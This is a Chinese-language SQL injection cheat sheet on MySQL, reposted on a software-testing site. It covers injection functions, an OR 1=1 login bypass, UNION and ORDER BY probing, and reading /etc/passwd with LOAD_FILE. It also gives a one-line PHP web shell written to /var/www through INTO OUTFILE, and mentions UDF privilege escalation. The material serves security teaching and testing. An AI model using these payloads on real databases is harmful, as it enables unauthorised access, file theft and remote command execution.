MySQL注入攻击与防御

发表于:2017-9-30 11:09

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:安全客    来源:51Testing软件测试网采编

  
  一、注入常用函数与字符
  下面几点是注入中经常会用到的语句
  控制语句操作(select, case, if(), ...)
  比较操作(=, like, mod(), ...)
  字符串的猜解操作(mid(), left(), rpad(), …)
  字符串生成操作(0x61, hex(), conv()(使用 conv([10-36],10,36)可以实现所有字符的表示))
  二、测试注入
  可以用以下语句对一个可能的注入点进行测试
  三、注释符
  以下是Mysql中可以用到的注释符:
  Examples:
  SELECT * FROM Users WHERE username = '' OR 11=1 -- -' AND password = ''; 
  SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
  四、版本&主机名&用户&库名
  五、表和字段
  1. 确定字段数
  (1) ORDER BY
  ORDER BY用于判断表中的字段个数
  (2) SELECT ... INTO
  关于SELECT ... INTO 的解释可以看这一篇文章SELECT ... INTO解释
  当出现LIMIT时可以用以下语句:
  SELECT username FROM Users limit 1, {INJECTION POINT};
  (3) 判断已知表名的字段数
  AND (SELECT * FROM SOME_EXISTING_TABLE) = 1 
  SELECT passwd FROM Users WHERE id = {INJECTION POINT};
   
  2. 查表名
  以下提过几种方式对库中表进行查询
  查表名
  3. 查列名
  以下提过几种方式对表中列进行查询
  4. 查列名
  六、字符串连接
  下面的几条语句都可以用以连接字符
  七、条件语句&时间函数
  条件语句&时间函数
  其中BENCHMARK函数是指执行某函数的次数,次数多时能够达到与sleep函数相同的效果
  八、文件操作
  1. 文件操作权限
  在MySQL中,存在一个称为secure_file_priv的全局系统变量。 该变量用于限制数据的导入和导出操作,例如SELECT … INTO OUTFILE语句和LOAD_FILE()
  如果secure_file_priv变量为空那么直接可以使用函数,如果为null是不能使用
  但在mysql的5.5.53之前的版本是默认为空,之后的版本为null,所有是将这个功能禁掉了
  也可使用如下语句查询
  2. 读文件
  读文件函数LOAD_FILE()
  Examples:
  SELECT LOAD_FILE('/etc/passwd'); 
  SELECT LOAD_FILE(0x2F6574632F706173737764);
  注意点:
  LOAD_FILE的默认目录@@datadir
  文件必须是当前用户可读
  读文件最大的为1047552个byte, @@max_allowed_packet可以查看文件读取最大值
  3. 写文件
  INTO OUTFILE/DUMPFILE
  经典写文件例子:
  To write a PHP shell:
  SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
  这两个函数都可以写文件,但是有很大的差别
  INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符
  INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择
  当我们在UDF提权的场景是需要上传二进制文件等等用OUTFILE函数是不能成功的
  注意点:
  INTO OUTFILE不会覆盖文件
  INTO OUTFILE必须是查询语句的最后一句
  路径名是不能编码的,必须使用单引号

21/212>
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号